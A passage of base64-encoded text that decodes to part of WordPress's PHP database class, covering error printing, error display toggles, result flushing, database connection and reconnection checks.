ZlLiBDYWxsICR3cGRiOjpwcmVwYXJlKCkKCSAqICAgICAgICAgICAgICAgIG9yIHJlYWxfZXNjYXBlIG5leHQuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBlc2NfbGlrZSggJHRleHQgKSB7CgkJcmV0dXJuIGFkZGNzbGFzaGVzKCAkdGV4dCwgJ18lXFwnICk7Cgl9CgoJLyoqCgkgKiBQcmludCBTUUwvREIgZXJyb3IuCgkgKgoJICogQHNpbmNlIDAuNzEKCSAqIEBnbG9iYWwgYXJyYXkgJEVaU1FMX0VSUk9SIFN0b3JlcyBlcnJvciBpbmZvcm1hdGlvbiBvZiBxdWVyeSBhbmQgZXJyb3Igc3RyaW5nCgkgKgoJICogQHBhcmFtIHN0cmluZyAkc3RyIFRoZSBlcnJvciB0byBkaXNwbGF5CgkgKiBAcmV0dXJuIGZhbHNlfHZvaWQgRmFsc2UgaWYgdGhlIHNob3dpbmcgb2YgZXJyb3JzIGlzIGRpc2FibGVkLgoJICovCglwdWJsaWMgZnVuY3Rpb24gcHJpbnRfZXJyb3IoICRzdHIgPSAnJyApIHsKCQlnbG9iYWwgJEVaU1FMX0VSUk9SOwoKCQlpZiAoICEkc3RyICkgewoJCQlpZiAoICR0aGlzLT51c2VfbXlzcWxpICkgewoJCQkJJHN0ciA9IG15c3FsaV9lcnJvciggJHRoaXMtPmRiaCApOwoJCQl9IGVsc2UgewoJCQkJJHN0ciA9IG15c3FsX2Vycm9yKCAkdGhpcy0+ZGJoICk7CgkJCX0KCQl9CgkJJEVaU1FMX0VSUk9SW10gPSBhcnJheSggJ3F1ZXJ5JyA9PiAkdGhpcy0+bGFzdF9xdWVyeSwgJ2Vycm9yX3N0cicgPT4gJHN0ciApOwoKCQlpZiAoICR0aGlzLT5zdXBwcmVzc19lcnJvcnMgKQoJCQlyZXR1cm4gZmFsc2U7CgoJCXdwX2xvYWRfdHJhbnNsYXRpb25zX2Vhcmx5KCk7CgoJCWlmICggJGNhbGxlciA9ICR0aGlzLT5nZXRfY2FsbGVyKCkgKQoJCQkkZXJyb3Jfc3RyID0gc3ByaW50ZiggX18oICdXb3JkUHJlc3MgZGF0YWJhc2UgZXJyb3IgJTEkcyBmb3IgcXVlcnkgJTIkcyBtYWRlIGJ5ICUzJHMnICksICRzdHIsICR0aGlzLT5sYXN0X3F1ZXJ5LCAkY2FsbGVyICk7CgkJZWxzZQoJCQkkZXJyb3Jfc3RyID0gc3ByaW50ZiggX18oICdXb3JkUHJlc3MgZGF0YWJhc2UgZXJyb3IgJTEkcyBmb3IgcXVlcnkgJTIkcycgKSwgJHN0ciwgJHRoaXMtPmxhc3RfcXVlcnkgKTsKCgkJZXJyb3JfbG9nKCAkZXJyb3Jfc3RyICk7CgoJCS8vIEFyZSB3ZSBzaG93aW5nIGVycm9ycz8KCQlpZiAoICEgJHRoaXMtPnNob3dfZXJyb3JzICkKCQkJcmV0dXJuIGZhbHNlOwoKCQkvLyBJZiB0aGVyZSBpcyBhbiBlcnJvciB0aGVuIHRha2Ugbm90ZSBvZiBpdAoJCWlmICggaXNfbXVsdGlzaXRlKCkgKSB7CgkJCSRtc2cgPSBzcHJpbnRmKAoJCQkJIiVzIFslc11cbiVzXG4iLAoJCQkJX18oICdXb3JkUHJlc3MgZGF0YWJhc2UgZXJyb3I6JyApLAoJCQkJJHN0ciwKCQkJCSR0aGlzLT5sYXN0X3F1ZXJ5CgkJCSk7CgoJCQlpZiAoIGRlZmluZWQoICdFUlJPUkxPR0ZJTEUnICkgKSB7CgkJCQllcnJvcl9sb2coICRtc2csIDMsIEVSUk9STE9HRklMRSApOwoJCQl9CgkJCWlmICggZGVmaW5lZCggJ0RJRU9OREJFUlJPUicgKSApIHsKCQkJCXdwX2RpZSggJG1zZyApOwoJCQl9CgkJfSBlbHNlIHsKCQkJJHN0ciAgID0gaHRtbHNwZWNpYWxjaGFycyggJHN0ciwgRU5UX1FVT1RFUyApOwoJCQkkcXVlcnkgPSBodG1sc3BlY2lhbGNoYXJzKCAkdGhpcy0+bGFzdF9xdWVyeSwgRU5UX1FVT1RFUyApOwoKCQkJcHJpbnRmKAoJCQkJJzxkaXYgaWQ9ImVycm9yIj48cCBjbGFzcz0id3BkYmVycm9yIj48c3Ryb25nPiVzPC9zdHJvbmc+IFslc108YnIgLz48Y29kZT4lczwvY29kZT48L3A+PC9kaXY+JywKCQkJCV9fKCAnV29yZFByZXNzIGRhdGFiYXNlIGVycm9yOicgKSwKCQkJCSRzdHIsCgkJCQkkcXVlcnkKCQkJKTsKCQl9Cgl9CgoJLyoqCgkgKiBFbmFibGVzIHNob3dpbmcgb2YgZGF0YWJhc2UgZXJyb3JzLgoJICoKCSAqIFRoaXMgZnVuY3Rpb24gc2hvdWxkIGJlIHVzZWQgb25seSB0byBlbmFibGUgc2hvd2luZyBvZiBlcnJvcnMuCgkgKiB3cGRiOjpoaWRlX2Vycm9ycygpIHNob3VsZCBiZSB1c2VkIGluc3RlYWQgZm9yIGhpZGluZyBvZiBlcnJvcnMuIEhvd2V2ZXIsCgkgKiB0aGlzIGZ1bmN0aW9uIGNhbiBiZSB1c2VkIHRvIGVuYWJsZSBhbmQgZGlzYWJsZSBzaG93aW5nIG9mIGRhdGFiYXNlCgkgKiBlcnJvcnMuCgkgKgoJICogQHNpbmNlIDAuNzEKCSAqIEBzZWUgd3BkYjo6aGlkZV9lcnJvcnMoKQoJICoKCSAqIEBwYXJhbSBib29sICRzaG93IFdoZXRoZXIgdG8gc2hvdyBvciBoaWRlIGVycm9ycwoJICogQHJldHVybiBib29sIE9sZCB2YWx1ZSBmb3Igc2hvd2luZyBlcnJvcnMuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBzaG93X2Vycm9ycyggJHNob3cgPSB0cnVlICkgewoJCSRlcnJvcnMgPSAkdGhpcy0+c2hvd19lcnJvcnM7CgkJJHRoaXMtPnNob3dfZXJyb3JzID0gJHNob3c7CgkJcmV0dXJuICRlcnJvcnM7Cgl9CgoJLyoqCgkgKiBEaXNhYmxlcyBzaG93aW5nIG9mIGRhdGFiYXNlIGVycm9ycy4KCSAqCgkgKiBCeSBkZWZhdWx0IGRhdGFiYXNlIGVycm9ycyBhcmUgbm90IHNob3duLgoJICoKCSAqIEBzaW5jZSAwLjcxCgkgKiBAc2VlIHdwZGI6OnNob3dfZXJyb3JzKCkKCSAqCgkgKiBAcmV0dXJuIGJvb2wgV2hldGhlciBzaG93aW5nIG9mIGVycm9ycyB3YXMgYWN0aXZlCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBoaWRlX2Vycm9ycygpIHsKCQkkc2hvdyA9ICR0aGlzLT5zaG93X2Vycm9yczsKCQkkdGhpcy0+c2hvd19lcnJvcnMgPSBmYWxzZTsKCQlyZXR1cm4gJHNob3c7Cgl9CgoJLyoqCgkgKiBXaGV0aGVyIHRvIHN1cHByZXNzIGRhdGFiYXNlIGVycm9ycy4KCSAqCgkgKiBCeSBkZWZhdWx0IGRhdGFiYXNlIGVycm9ycyBhcmUgc3VwcHJlc3NlZCwgd2l0aCBhIHNpbXBsZQoJICogY2FsbCB0byB0aGlzIGZ1bmN0aW9uIHRoZXkgY2FuIGJlIGVuYWJsZWQuCgkgKgoJICogQHNpbmNlIDIuNS4wCgkgKiBAc2VlIHdwZGI6OmhpZGVfZXJyb3JzKCkKCSAqIEBwYXJhbSBib29sICRzdXBwcmVzcyBPcHRpb25hbC4gTmV3IHZhbHVlLiBEZWZhdWx0cyB0byB0cnVlLgoJICogQHJldHVybiBib29sIE9sZCB2YWx1ZQoJICovCglwdWJsaWMgZnVuY3Rpb24gc3VwcHJlc3NfZXJyb3JzKCAkc3VwcHJlc3MgPSB0cnVlICkgewoJCSRlcnJvcnMgPSAkdGhpcy0+c3VwcHJlc3NfZXJyb3JzOwoJCSR0aGlzLT5zdXBwcmVzc19lcnJvcnMgPSAoYm9vbCkgJHN1cHByZXNzOwoJCXJldHVybiAkZXJyb3JzOwoJfQoKCS8qKgoJICogS2lsbCBjYWNoZWQgcXVlcnkgcmVzdWx0cy4KCSAqCgkgKiBAc2luY2UgMC43MQoJICovCglwdWJsaWMgZnVuY3Rpb24gZmx1c2goKSB7CgkJJHRoaXMtPmxhc3RfcmVzdWx0ID0gYXJyYXkoKTsKCQkkdGhpcy0+Y29sX2luZm8gICAgPSBudWxsOwoJCSR0aGlzLT5sYXN0X3F1ZXJ5ICA9IG51bGw7CgkJJHRoaXMtPnJvd3NfYWZmZWN0ZWQgPSAkdGhpcy0+bnVtX3Jvd3MgPSAwOwoJCSR0aGlzLT5sYXN0X2Vycm9yICA9ICcnOwoKCQlpZiAoICR0aGlzLT51c2VfbXlzcWxpICYmICR0aGlzLT5yZXN1bHQgaW5zdGFuY2VvZiBteXNxbGlfcmVzdWx0ICkgewoJCQlteXNxbGlfZnJlZV9yZXN1bHQoICR0aGlzLT5yZXN1bHQgKTsKCQkJJHRoaXMtPnJlc3VsdCA9IG51bGw7CgoJCQkvLyBTYW5pdHkgY2hlY2sgYmVmb3JlIHVzaW5nIHRoZSBoYW5kbGUKCQkJaWYgKCBlbXB0eSggJHRoaXMtPmRiaCApIHx8ICEoICR0aGlzLT5kYmggaW5zdGFuY2VvZiBteXNxbGkgKSApIHsKCQkJCXJldHVybjsKCQkJfQoKCQkJLy8gQ2xlYXIgb3V0IGFueSByZXN1bHRzIGZyb20gYSBtdWx0aS1xdWVyeQoJCQl3aGlsZSAoIG15c3FsaV9tb3JlX3Jlc3VsdHMoICR0aGlzLT5kYmggKSApIHsKCQkJCW15c3FsaV9uZXh0X3Jlc3VsdCggJHRoaXMtPmRiaCApOwoJCQl9CgkJfSBlbHNlaWYgKCBpc19yZXNvdXJjZSggJHRoaXMtPnJlc3VsdCApICkgewoJCQlteXNxbF9mcmVlX3Jlc3VsdCggJHRoaXMtPnJlc3VsdCApOwoJCX0KCX0KCgkvKioKCSAqIENvbm5lY3QgdG8gYW5kIHNlbGVjdCBkYXRhYmFzZS4KCSAqCgkgKiBJZiAkYWxsb3dfYmFpbCBpcyBmYWxzZSwgdGhlIGxhY2sgb2YgZGF0YWJhc2UgY29ubmVjdGlvbiB3aWxsIG5lZWQKCSAqIHRvIGJlIGhhbmRsZWQgbWFudWFsbHkuCgkgKgoJICogQHNpbmNlIDMuMC4wCgkgKiBAc2luY2UgMy45LjAgJGFsbG93X2JhaWwgcGFyYW1ldGVyIGFkZGVkLgoJICoKCSAqIEBwYXJhbSBib29sICRhbGxvd19iYWlsIE9wdGlvbmFsLiBBbGxvd3MgdGhlIGZ1bmN0aW9uIHRvIGJhaWwuIERlZmF1bHQgdHJ1ZS4KCSAqIEByZXR1cm4gYm9vbCBUcnVlIHdpdGggYSBzdWNjZXNzZnVsIGNvbm5lY3Rpb24sIGZhbHNlIG9uIGZhaWx1cmUuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBkYl9jb25uZWN0KCAkYWxsb3dfYmFpbCA9IHRydWUgKSB7CgkJJHRoaXMtPmlzX215c3FsID0gdHJ1ZTsKCgkJLyoKCQkgKiBEZXByZWNhdGVkIGluIDMuOSsgd2hlbiB1c2luZyBNeVNRTGkuIE5vIGVxdWl2YWxlbnQKCQkgKiAkbmV3X2xpbmsgcGFyYW1ldGVyIGV4aXN0cyBmb3IgbXlzcWxpXyogZnVuY3Rpb25zLgoJCSAqLwoJCSRuZXdfbGluayA9IGRlZmluZWQoICdNWVNRTF9ORVdfTElOSycgKSA/IE1ZU1FMX05FV19MSU5LIDogdHJ1ZTsKCQkkY2xpZW50X2ZsYWdzID0gZGVmaW5lZCggJ01ZU1FMX0NMSUVOVF9GTEFHUycgKSA/IE1ZU1FMX0NMSUVOVF9GTEFHUyA6IDA7CgoJCWlmICggJHRoaXMtPnVzZV9teXNxbGkgKSB7CgkJCSR0aGlzLT5kYmggPSBteXNxbGlfaW5pdCgpOwoKCQkJLy8gbXlzcWxpX3JlYWxfY29ubmVjdCBkb2Vzbid0IHN1cHBvcnQgdGhlIGhvc3QgcGFyYW0gaW5jbHVkaW5nIGEgcG9ydCBvciBzb2NrZXQKCQkJLy8gbGlrZSBteXNxbF9jb25uZWN0IGRvZXMuIFRoaXMgZHVwbGljYXRlcyBob3cgbXlzcWxfY29ubmVjdCBkZXRlY3RzIGEgcG9ydCBhbmQvb3Igc29ja2V0IGZpbGUuCgkJCSRwb3J0ID0gbnVsbDsKCQkJJHNvY2tldCA9IG51bGw7CgkJCSRob3N0ID0gJHRoaXMtPmRiaG9zdDsKCQkJJHBvcnRfb3Jfc29ja2V0ID0gc3Ryc3RyKCAkaG9zdCwgJzonICk7CgkJCWlmICggISBlbXB0eSggJHBvcnRfb3Jfc29ja2V0ICkgKSB7CgkJCQkkaG9zdCA9IHN1YnN0ciggJGhvc3QsIDAsIHN0cnBvcyggJGhvc3QsICc6JyApICk7CgkJCQkkcG9ydF9vcl9zb2NrZXQgPSBzdWJzdHIoICRwb3J0X29yX3NvY2tldCwgMSApOwoJCQkJaWYgKCAwICE9PSBzdHJwb3MoICRwb3J0X29yX3NvY2tldCwgJy8nICkgKSB7CgkJCQkJJHBvcnQgPSBpbnR2YWwoICRwb3J0X29yX3NvY2tldCApOwoJCQkJCSRtYXliZV9zb2NrZXQgPSBzdHJzdHIoICRwb3J0X29yX3NvY2tldCwgJzonICk7CgkJCQkJaWYgKCAhIGVtcHR5KCAkbWF5YmVfc29ja2V0ICkgKSB7CgkJCQkJCSRzb2NrZXQgPSBzdWJzdHIoICRtYXliZV9zb2NrZXQsIDEgKTsKCQkJCQl9CgkJCQl9IGVsc2UgewoJCQkJCSRzb2NrZXQgPSAkcG9ydF9vcl9zb2NrZXQ7CgkJCQl9CgkJCX0KCgkJCWlmICggV1BfREVCVUcgKSB7CgkJCQlteXNxbGlfcmVhbF9jb25uZWN0KCAkdGhpcy0+ZGJoLCAkaG9zdCwgJHRoaXMtPmRidXNlciwgJHRoaXMtPmRicGFzc3dvcmQsIG51bGwsICRwb3J0LCAkc29ja2V0LCAkY2xpZW50X2ZsYWdzICk7CgkJCX0gZWxzZSB7CgkJCQlAbXlzcWxpX3JlYWxfY29ubmVjdCggJHRoaXMtPmRiaCwgJGhvc3QsICR0aGlzLT5kYnVzZXIsICR0aGlzLT5kYnBhc3N3b3JkLCBudWxsLCAkcG9ydCwgJHNvY2tldCwgJGNsaWVudF9mbGFncyApOwoJCQl9CgoJCQlpZiAoICR0aGlzLT5kYmgtPmNvbm5lY3RfZXJybm8gKSB7CgkJCQkkdGhpcy0+ZGJoID0gbnVsbDsKCgkJCQkvKiBJdCdzIHBvc3NpYmxlIGV4dC9teXNxbGkgaXMgbWlzY29uZmlndXJlZC4gRmFsbCBiYWNrIHRvIGV4dC9teXNxbCBpZjoKCQkgCQkgKiAgLSBXZSBoYXZlbid0IHByZXZpb3VzbHkgY29ubmVjdGVkLCBhbmQKCQkgCQkgKiAgLSBXUF9VU0VfRVhUX01ZU1FMIGlzbid0IHNldCB0byBmYWxzZSwgYW5kCgkJIAkJICogIC0gZXh0L215c3FsIGlzIGxvYWRlZC4KCQkgCQkgKi8KCQkJCSRhdHRlbXB0X2ZhbGxiYWNrID0gdHJ1ZTsKCgkJCQlpZiAoICR0aGlzLT5oYXNfY29ubmVjdGVkICkgewoJCQkJCSRhdHRlbXB0X2ZhbGxiYWNrID0gZmFsc2U7CgkJCQl9IGVsc2VpZiAoIGRlZmluZWQoICdXUF9VU0VfRVhUX01ZU1FMJyApICYmICEgV1BfVVNFX0VYVF9NWVNRTCApIHsKCQkJCQkkYXR0ZW1wdF9mYWxsYmFjayA9IGZhbHNlOwoJCQkJfSBlbHNlaWYgKCAhIGZ1bmN0aW9uX2V4aXN0cyggJ215c3FsX2Nvbm5lY3QnICkgKSB7CgkJCQkJJGF0dGVtcHRfZmFsbGJhY2sgPSBmYWxzZTsKCQkJCX0KCgkJCQlpZiAoICRhdHRlbXB0X2ZhbGxiYWNrICkgewoJCQkJCSR0aGlzLT51c2VfbXlzcWxpID0gZmFsc2U7CgkJCQkJcmV0dXJuICR0aGlzLT5kYl9jb25uZWN0KCAkYWxsb3dfYmFpbCApOwoJCQkJfQoJCQl9CgkJfSBlbHNlIHsKCQkJaWYgKCBXUF9ERUJVRyApIHsKCQkJCSR0aGlzLT5kYmggPSBteXNxbF9jb25uZWN0KCAkdGhpcy0+ZGJob3N0LCAkdGhpcy0+ZGJ1c2VyLCAkdGhpcy0+ZGJwYXNzd29yZCwgJG5ld19saW5rLCAkY2xpZW50X2ZsYWdzICk7CgkJCX0gZWxzZSB7CgkJCQkkdGhpcy0+ZGJoID0gQG15c3FsX2Nvbm5lY3QoICR0aGlzLT5kYmhvc3QsICR0aGlzLT5kYnVzZXIsICR0aGlzLT5kYnBhc3N3b3JkLCAkbmV3X2xpbmssICRjbGllbnRfZmxhZ3MgKTsKCQkJfQoJCX0KCgkJaWYgKCAhICR0aGlzLT5kYmggJiYgJGFsbG93X2JhaWwgKSB7CgkJCXdwX2xvYWRfdHJhbnNsYXRpb25zX2Vhcmx5KCk7CgoJCQkvLyBMb2FkIGN1c3RvbSBEQiBlcnJvciB0ZW1wbGF0ZSwgaWYgcHJlc2VudC4KCQkJaWYgKCBmaWxlX2V4aXN0cyggV1BfQ09OVEVOVF9ESVIgLiAnL2RiLWVycm9yLnBocCcgKSApIHsKCQkJCXJlcXVpcmVfb25jZSggV1BfQ09OVEVOVF9ESVIgLiAnL2RiLWVycm9yLnBocCcgKTsKCQkJCWRpZSgpOwoJCQl9CgoJCQkkbWVzc2FnZSA9ICc8aDE+JyAuIF9fKCAnRXJyb3IgZXN0YWJsaXNoaW5nIGEgZGF0YWJhc2UgY29ubmVjdGlvbicgKSAuICI8L2gxPlxuIjsKCgkJCSRtZXNzYWdlIC49ICc8cD4nIC4gc3ByaW50ZigKCQkJCS8qIHRyYW5zbGF0b3JzOiAxOiB3cC1jb25maWcucGhwLiAyOiBkYXRhYmFzZSBob3N0ICovCgkJCQlfXyggJ1RoaXMgZWl0aGVyIG1lYW5zIHRoYXQgdGhlIHVzZXJuYW1lIGFuZCBwYXNzd29yZCBpbmZvcm1hdGlvbiBpbiB5b3VyICUxJHMgZmlsZSBpcyBpbmNvcnJlY3Qgb3Igd2UgY2FuJiM4MjE3O3QgY29udGFjdCB0aGUgZGF0YWJhc2Ugc2VydmVyIGF0ICUyJHMuIFRoaXMgY291bGQgbWVhbiB5b3VyIGhvc3QmIzgyMTc7cyBkYXRhYmFzZSBzZXJ2ZXIgaXMgZG93bi4nICksCgkJCQknPGNvZGU+d3AtY29uZmlnLnBocDwvY29kZT4nLAoJCQkJJzxjb2RlPicgLiBodG1sc3BlY2lhbGNoYXJzKCAkdGhpcy0+ZGJob3N0LCBFTlRfUVVPVEVTICkgLiAnPC9jb2RlPicKCQkJKSAuICI8L3A+XG4iOwoKCQkJJG1lc3NhZ2UgLj0gIjx1bD5cbiI7CgkJCSRtZXNzYWdlIC49ICc8bGk+JyAuIF9fKCAnQXJlIHlvdSBzdXJlIHlvdSBoYXZlIHRoZSBjb3JyZWN0IHVzZXJuYW1lIGFuZCBwYXNzd29yZD8nICkgLiAiPC9saT5cbiI7CgkJCSRtZXNzYWdlIC49ICc8bGk+JyAuIF9fKCAnQXJlIHlvdSBzdXJlIHRoYXQgeW91IGhhdmUgdHlwZWQgdGhlIGNvcnJlY3QgaG9zdG5hbWU/JyApIC4gIjwvbGk+XG4iOwoJCQkkbWVzc2FnZSAuPSAnPGxpPicgLiBfXyggJ0FyZSB5b3Ugc3VyZSB0aGF0IHRoZSBkYXRhYmFzZSBzZXJ2ZXIgaXMgcnVubmluZz8nICkgLiAiPC9saT5cbiI7CgkJCSRtZXNzYWdlIC49ICI8L3VsPlxuIjsKCgkJCSRtZXNzYWdlIC49ICc8cD4nIC4gc3ByaW50ZigKCQkJCS8qIHRyYW5zbGF0b3JzOiAlczogc3VwcG9ydCBmb3J1bXMgVVJMICovCgkJCQlfXyggJ0lmIHlvdSYjODIxNztyZSB1bnN1cmUgd2hhdCB0aGVzZSB0ZXJtcyBtZWFuIHlvdSBzaG91bGQgcHJvYmFibHkgY29udGFjdCB5b3VyIGhvc3QuIElmIHlvdSBzdGlsbCBuZWVkIGhlbHAgeW91IGNhbiBhbHdheXMgdmlzaXQgdGhlIDxhIGhyZWY9IiVzIj5Xb3JkUHJlc3MgU3VwcG9ydCBGb3J1bXM8L2E+LicgKSwKCQkJCV9fKCAnaHR0cHM6Ly93b3JkcHJlc3Mub3JnL3N1cHBvcnQvJyApCgkJCSkgLiAiPC9wPlxuIjsKCgkJCSR0aGlzLT5iYWlsKCAkbWVzc2FnZSwgJ2RiX2Nvbm5lY3RfZmFpbCcgKTsKCgkJCXJldHVybiBmYWxzZTsKCQl9IGVsc2VpZiAoICR0aGlzLT5kYmggKSB7CgkJCWlmICggISAkdGhpcy0+aGFzX2Nvbm5lY3RlZCApIHsKCQkJCSR0aGlzLT5pbml0X2NoYXJzZXQoKTsKCQkJfQoKCQkJJHRoaXMtPmhhc19jb25uZWN0ZWQgPSB0cnVlOwoKCQkJJHRoaXMtPnNldF9jaGFyc2V0KCAkdGhpcy0+ZGJoICk7CgoJCQkkdGhpcy0+cmVhZHkgPSB0cnVlOwoJCQkkdGhpcy0+c2V0X3NxbF9tb2RlKCk7CgkJCSR0aGlzLT5zZWxlY3QoICR0aGlzLT5kYm5hbWUsICR0aGlzLT5kYmggKTsKCgkJCXJldHVybiB0cnVlOwoJCX0KCgkJcmV0dXJuIGZhbHNlOwoJfQoKCS8qKgoJICogQ2hlY2sgdGhhdCB0aGUgY29ubmVjdGlvbiB0byB0aGUgZGF0YWJhc2UgaXMgc3RpbGwgdXAuIElmIG5vdCwgdHJ5IHRvIHJlY29ubmVjdC4KCSAqCgkgKiBJZiB0aGlzIGZ1bmN0aW9uIGlzIHVuYWJsZSB0byByZWNvbm5lY3QsIGl0IHdpbGwgZm9yY2libHkgZGllLCBvciBpZiBhZnRlciB0aGUKCSAqIHRoZSB0ZW1wbGF0ZV9yZWRpcmVjdCBob29rIGhhcyBiZWVuIGZpcmVkLCByZXR1cm4gZmFsc2UgaW5zdGVhZC4KCSAqCgkgKiBJZiAkYWxsb3dfYmFpbCBpcyBmYWxzZSwgdGhlIGxhY2sgb2YgZGF0YWJhc2UgY29ubmVjdGlvbiB3aWxsIG5lZWQKCSAqIHRvIGJlIGhhbmRsZWQgbWFudWFsbHkuCgkgKgoJICogQHNpbmNlIDMuOS4wCgkgKgoJICogQHBhcmFtIGJvb2wgJGFsbG93X2JhaWwgT3B0aW9uYWwuIEFsbG93cyB0aGUgZnVuY3Rpb24gdG8gYmFpbC4gRGVmYXVsdCB0cnVlLgoJICogQHJldHVybiBib29sfHZvaWQgVHJ1ZSBpZiB0aGUgY29ubmVjdGlvbiBpcyB1cC4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIGNoZWNrX2Nvbm5lY3Rpb24oICRhbGxvd19iYWlsID0gdHJ1ZSApIHsKCQlpZiAoICR0aGlzLT51c2VfbXlzcWxpICkgewoJCQlpZiAoIEBteXNxbGlfcGluZyggJHRoaXMtPmRiaCApICkgewoJCQkJcmV0dXJuIHRydWU7CgkJCX0KCQl9IGVsc2UgewoJCQlpZiAoIEBteXNxbF9waW5nKCAkdGhpcy0+ZGJoICkgKSB7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCgkJJGVycm9yX3JlcG9ydGluZyA9IGZhbHNlOwoKCQkvLyBEaXNhYmxlIHdhcm5pbmdzLCBhcyB3ZSBkb24ndCB3YW50IHRvIHNlZSBhIG11bHRpdHVkZSBvZiAidW5hYmxlIHRvIGNvbm5lY3QiIG1lc3NhZ2VzCgkJaWYgKCBXUF9ERUJVRyApIHsKCQkJJGVycm9yX3JlcG9ydGluZyA9IGVycm9yX3JlcG9ydGluZygpOwoJCQllcnJvcl9yZXBvcnRpbmcoICRlcnJvcl9yZXBvcnRpbmcgJiB+RV9XQVJOSU5HICk7CgkJfQoKCQlmb3IgKCAkdHJpZXMgPSAxOyAkdHJpZXMgPD0gJHRoaXMtPnJlY29ubmVjdF9yZXRyaWVzOyAkdHJpZXMrKyApIHsKCQkJLy8gT24gdGhlIGxhc3QgdHJ5LCByZS1lbmFibGUgd2FybmluZ3MuIFdlIHdhbnQgdG8gc2VlIGEgc2luZ2xlIGluc3RhbmNlIG9mIHRoZQoJCQkvLyAidW5hYmxlIHRvIGNvbm5lY3QiIG1lc3NhZ2Ugb24gdGhlIGJhaWwoKSBzY3JlZW4sIGlmIGl0IGFwcGVhcnMuCgkJCWlmICggJHRoaXMtPnJlY29ubmVjdF9yZXRyaWVzID09PSAkdHJpZXMgJiYgV1BfREVCVUcgKSB7CgkJCQllcnJvcl9yZXBvcnRpbmcoICRlcnJvcl9yZXBvcnRpbmcgKTsKCQkJfQoKCQkJaWYgKCAkdGhpcy0+ZGJfY29ubmVjdCggZmFsc2UgKSApIHsKCQkJCWlmICggJGVycm9yX3JlcG9ydGluZyApIHsKCQkJCQllcnJvcl9yZXBvcnRpbmcoICRlcnJvcl9yZXBvcnRpbmcgKTsKCQkJCX0KCgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoKCQkJc2xlZXAoIDEgKTsKCQl9CgoJCS8vIElmIHRlbXBsYXRlX3JlZGlyZWN0IGhhcyBhbHJlYWR5IGhhcHBlbmVkLCBpdCdzIHRvbyBsYXRlIGZvciB3cF9kaWUoKS9kZWFkX2RiKCkuCgkJLy8gTGV0J3MganVzdCByZXR1cm4gYW5kIGhvcGUgZm9yIHRoZSBiZXN0LgoJCWlmICggZGlkX2FjdGlvbiggJ3RlbXBsYXRlX3JlZGlyZWN0JyApICkgewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlpZiAoICEgJGFsbG93X2JhaWwgKSB7CgkJCXJldHVybiBmYWxzZTsKCQl9CgoJCXdwX2xvYWRfdHJhbnNsYXRpb25zX2Vhcmx5KCk7CgoJCSRtZXNzYWdlID0gJzxoMT4nIC4gX18oICdFcnJvciByZWNvbm5lY3RpbmcgdG8gdGhlIGRhdGFiYXNlJyApIC4gIjwvaDE+XG4iOwoKCQkkbWVzc2FnZSAuPSAnPHA+JyAuIHNwcmludGYoCgkJCS8qIHRyYW5zbGF0b3JzOiAlczogZGF0YWJhc2UgaG9zdCAqLwoJCQlfXyggJ1RoaXMgbWVhbnMgdGhhdCB3ZSBsb3N0IGNvbnRhY3Qgd2l0aCB0aGUgZGF0YWJhc2Ugc2VydmVyIGF0ICVzLiBUaGlzIGNvdWxkIG1lYW4geW91ciBob3N0JiM4MjE3O3MgZGF0YWJhc2Ugc2VydmVyIGlzIGRvd24uJyApLAoJCQknPGNvZGU+JyAuIGh0bWxzcGVjaWFsY2hhcnMoICR0aGlzLT5kYmhvc3QsIEVOVF9RVU9URVMgKSAuICc8L2NvZGU+JwoJCSkgLiAiPC9wPlxuIjsKCgkJJG1lc3NhZ2UgLj0gIjx1bD5cbiI7CgkJJG1lc3NhZ2UgLj0gJzxsaT4nIC4gX18oICdBcmUgeW91IHN1cmUgdGhhdCB0aGUgZGF0YWJhc2Ugc2VydmVyIGlzIHJ1bm5pbmc/JyApIC4gIjwvbGk+XG4iOwoJCSRtZXNzYWdlIC49ICc8bGk+JyAuIF9fKCAnQXJlIHlvdSBzdXJlIHRoYXQgdGhlIGRhdGFiYXNlIHNlcnZlciBpcyBub3QgdW5kZXIgcGFydGljdWxhcmx5IGhlYXZ5IGxvYWQ/JyApIC4gIjwvbGk+XG4iOwoJCSRtZXNzYWdlIC49ICI8L3VsPlxuIjsKCgkJJG1lc3NhZ2UgLj0gJzxwPicgLiBzcHJpbnRmKAoJCQkvKiB0cmFuc2xhdG9yczogJXM6IHN1cHBvcnQgZm9ydW1zIFVSTCAqLwoJCQlfXyggJ0lmIHlvdSYjODIxNztyZSB1bnN1cmUgd2hhdCB0aGVzZSB0ZXJtcyBtZWFuIHlvdSBzaG91bGQgcHJvYmFibHkgY29udGFjdCB5b3VyIGhvc3QuIElmIHlvdSBzdGlsbCBuZWVkIGhlbHAgeW91IGNhbiBhbHdheXMgdmlzaXQgdGhlIDxhIGhyZWY9IiVzIj5Xb3JkUHJlc3MgU3VwcG9ydCBGb3J1bXM8L2E+LicgKSwKCQkJX18oICdodHRwczovL3dvcmRwcmVzcy5vcmcvc3VwcG9ydC8nICkKCQkpIC4gIjwvcD5cbiI7CgoJCS8vIFdlIHdlcmVuJ3QgYWJsZSB0byByZWNvbm5lY3QsIHNvIHdlIGJldHRlciBiYWlsLgoJCSR0aGlzLT5iYWlsKCAkbWVzc2FnZSwgJ2RiX2Nvbm5lY3RfZmFpbCcgKTsKCgkJLy8gQ2FsbCBkZWFkX2RiKCkgaWYgYmFpbCBkaWRuJ3QgZGllLCBiZWNhdXNlIHRoaXMgZGF0YWJhc2UgaXMgbm8gbW9yZS4gSXQgaGFzIGNlYXNlZCB0byBiZSAoYXQgbGVhc3QgdGVtcG9yYXJpbHkpLgoJCWRlYWRfZGIoKTsKCX0KCgkvKioKCSAqIFBlcmZvcm0gYSBNeVNRTCBkYXRhYmFzZSBxdWVyeSwgdXNpbmcgY3VycmVudCBkYXRhYmFzZSBjb25uZWN0aW9uLgoJICoKCSAqIE1vcmUgaW5mb3JtYXRpb24gY2FuIGJlIGZvdW5kIG9uIHRoZSBjb2RleCBwYWdlLgoJICoKCSAqIEBzaW5jZSAwLjcxCgkgKgoJICogQHBhcmFtIHN0cmluZyAkcXVlcnkgRGF0YWJhc2UgcXVlcnkKCSAqIEByZXR1cm4gaW50fGZhbHNlIE51bWJlciBvZiByb3dzIGFmZmVjdGVkL3NlbGVjdGVkIG9yIGZhbHNlI